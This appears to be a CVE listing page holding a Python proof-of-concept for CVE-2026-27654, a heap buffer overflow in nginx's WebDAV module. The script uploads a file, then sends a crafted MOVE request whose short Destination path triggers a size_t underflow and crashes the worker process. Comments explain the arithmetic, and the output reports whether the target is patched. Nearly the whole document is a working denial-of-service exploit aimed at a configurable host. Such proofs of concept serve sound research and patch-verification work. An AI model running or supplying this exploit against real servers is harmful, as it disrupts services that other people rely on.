5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
"""
CVE-2026-27654 -- nginx ngx_http_dav_module heap buffer overflow
PoC crash trigger

Usage
-----
    # Against Docker-based vulnerable instance (see run.sh):
    python3 poc.py --target 127.0.0.1:8080

    # Against locally built nginx (see run.sh --local):
    python3 poc.py --target 127.0.0.1:8888

    python3 poc.py --target 127.0.0.1:8080 --verbose
    python3 poc.py --target 127.0.0.1:8080 --no-put   # if file already exists

Dependencies: requests (pip install requests)
"""

import argparse
import sys
import time
import requests


# Location prefix as configured in nginx.conf (length = 9 bytes)
LOCATION_PREFIX = "/uploads/"
LOCATION_PREFIX_LEN = len(LOCATION_PREFIX)   # 9

# Alias string length as configured in nginx.conf: "/data/files/" = 13 bytes.
# The destination URI path component after stripping the location prefix must
# be shorter than this alias length to trigger the underflow. Any path shorter
# than 13 bytes works; "/x" (2 bytes) is the minimal reliable trigger.
ALIAS_LEN = 13

# Trigger: dest.len(2) - name.len(9) = 0xFFFFFFFFFFFFFFF9 (underflow)
TRIGGER_DESTINATION_PATH = "/x"
TRIGGER_DEST_LEN = len(TRIGGER_DESTINATION_PATH)   # 2

TEST_FILENAME = "triggerfile.txt"
TEST_CONTENT = b"CVE-2026-27654 trigger payload\n"


def put_file(session, base_url, verbose):
    url = f"{base_url}{LOCATION_PREFIX}{TEST_FILENAME}"
    print(f"[*] PUT {url}")
    try:
        r = session.put(url, data=TEST_CONTENT, timeout=10)
        if verbose:
            print(f"    Status: {r.status_code}")
            print(f"    Body:   {r.text[:200]}")
        if r.status_code in (200, 201, 204):
            print(f"[+] PUT succeeded ({r.status_code})")
            return True
        print(f"[-] PUT failed ({r.status_code}): {r.text[:120]}")
        return False
    except requests.exceptions.ConnectionError as exc:
        print(f"[-] PUT connection error: {exc}")
        return False


def send_move(session, base_url, target_host, verbose):
    """Send the triggering MOVE request.

    The Destination header must be an absolute URI per RFC 4918. nginx extracts
    the URI path (/x) and subtracts clcf->name.len (9) to get duri.len:

        duri.len = len("/x") - len("/uploads/") = 2 - 9 (size_t) = 0xFFFFFFFFFFFFFFF9

    path.len = clcf->alias(13) + duri.len wraps to 6 on 64-bit addition.
    ngx_pnalloc allocates 7 bytes. ngx_copy then uses the original underflowed
    duri.len as its count -> heap overflow.

    Non-ASan: worker crashes with SIGSEGV (signal 11), connection is reset.
              Corrupted lstat path may appear in error log before the fault.
    ASan:     process aborts with negative-size-param: (size=-7) at memcpy.
              The -7 = path.len(6) - clcf->alias(13), confirming the arithmetic.
    """
    src_url = f"{base_url}{LOCATION_PREFIX}{TEST_FILENAME}"
    destination = f"http://{target_host}{TRIGGER_DESTINATION_PATH}"
    underflow = (TRIGGER_DEST_LEN - LOCATION_PREFIX_LEN) % (2 ** 64)
    wrapped_pathlen = (ALIAS_LEN + underflow) % (2 ** 64)

    headers = {
        "Destination": destination,
        "Overwrite": "T",
    }
    print(f"[*] MOVE {src_url}")
    print(f"    Destination: {destination}")
    print(f"    dest.len={TRIGGER_DEST_LEN}, name.len={LOCATION_PREFIX_LEN}, "
          f"alias={ALIAS_LEN}")
    print(f"    duri.len (underflow) = 0x{underflow:016x}")
    print(f"    path.len (wrap)      = {wrapped_pathlen}  "
          f"-> ngx_pnalloc({wrapped_pathlen + 1}) bytes allocated")
    print(f"    ngx_copy count       = 0x{underflow:016x}  -> heap overflow")
    try:
        r = session.request(
            method="MOVE",
            url=src_url,
            headers=headers,
            timeout=5,
        )
        if verbose:
            print(f"    Status: {r.status_code}")
            print(f"    Body:   {r.text[:300]}")
        return r.status_code
    except requests.exceptions.ConnectionError:
        # Worker crashed mid-request -- this is the expected crash indicator
        # on non-ASan builds. ASan builds abort before any data is written,
        # so the connection may also be reset by the aborted process.
        return None
    except requests.exceptions.ReadTimeout:
        return "TIMEOUT"


def check_alive(session, base_url):
    try:
        session.get(base_url, timeout=3)
        return True
    except requests.exceptions.ConnectionError:
        return False


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-27654 nginx dav_module heap overflow PoC"
    )
    parser.add_argument(
        "--target",
        default="127.0.0.1:8080",
        metavar="HOST:PORT",
        help="Target nginx instance (default: 127.0.0.1:8080)",
    )
    parser.add_argument(
        "--verbose", "-v",
        action="store_true",
        help="Show full HTTP responses",
    )
    parser.add_argument(
        "--no-put",
        action="store_true",
        help="Skip the initial PUT (assume file already exists)",
    )
    args = parser.parse_args()

    target_host = args.target
    if not target_host.startswith("http"):
        base_url = f"http://{target_host}"
    else:
        base_url = target_host
        target_host = target_host.replace("http://", "").replace("https://", "")

    session = requests.Session()

    print("=" * 62)
    print("CVE-2026-27654 -- nginx dav_module heap buffer overflow")
    print("=" * 62)
    print(f"Target: {base_url}")
    print()

    print("[*] Checking target connectivity...")
    if not check_alive(session, base_url):
        print("[-] Target is not reachable.")
        print("    Docker:  docker compose up -d --build")
        print("    Local:   ./run.sh --local  (builds nginx from source)")
        sys.exit(1)
    print("[+] Target is up")
    print()

    if not args.no_put:
        if not put_file(session, base_url, args.verbose):
            print("[!] PUT failed. Check that the DAV location uses 'alias' + 'dav_methods'.")
            sys.exit(1)
        print()

    print("[*] Sending crafted MOVE to trigger size_t underflow...")
    print()
    status = send_move(session, base_url, target_host, args.verbose)
    print()

    if status is None:
        print("[!!!] Connection reset -- worker process crashed (SIGSEGV).")
        print("      Non-ASan: check error log for \"worker process <pid> exited on signal 11\"")
        print("                and for corrupted lstat path (e.g. lstat() \"cept\" failed)")
        print("      ASan:     check error log for AddressSanitizer: negative-size-param")
        outcome = "CRASH"
    elif status == "TIMEOUT":
        print("[!]  Request timed out -- worker may be restarting.")
        outcome = "TIMEOUT"
    else:
        print(f"[*] Server responded with HTTP {status}.")
        if status == 400:
            print("    400 Bad Request -- target is PATCHED (fix in 1.28.3/1.29.7).")
        elif status in (500, 502, 503):
            print("    5xx -- worker restart may be in progress.")
        else:
            print("    Unexpected response -- target may be misconfigured.")
        outcome = f"HTTP_{status}"

    print("[*] Waiting 2s for master to respawn worker...")
    time.sleep(2)
    if check_alive(session, base_url):
        print("[+] nginx master is still up (worker respawned). Crash confirmed + recovery OK.")
    else:
        print("[-] nginx master also down. Process may have fully exited.")

    print()
    print(f"Result: {outcome}")


if __name__ == "__main__":
    main()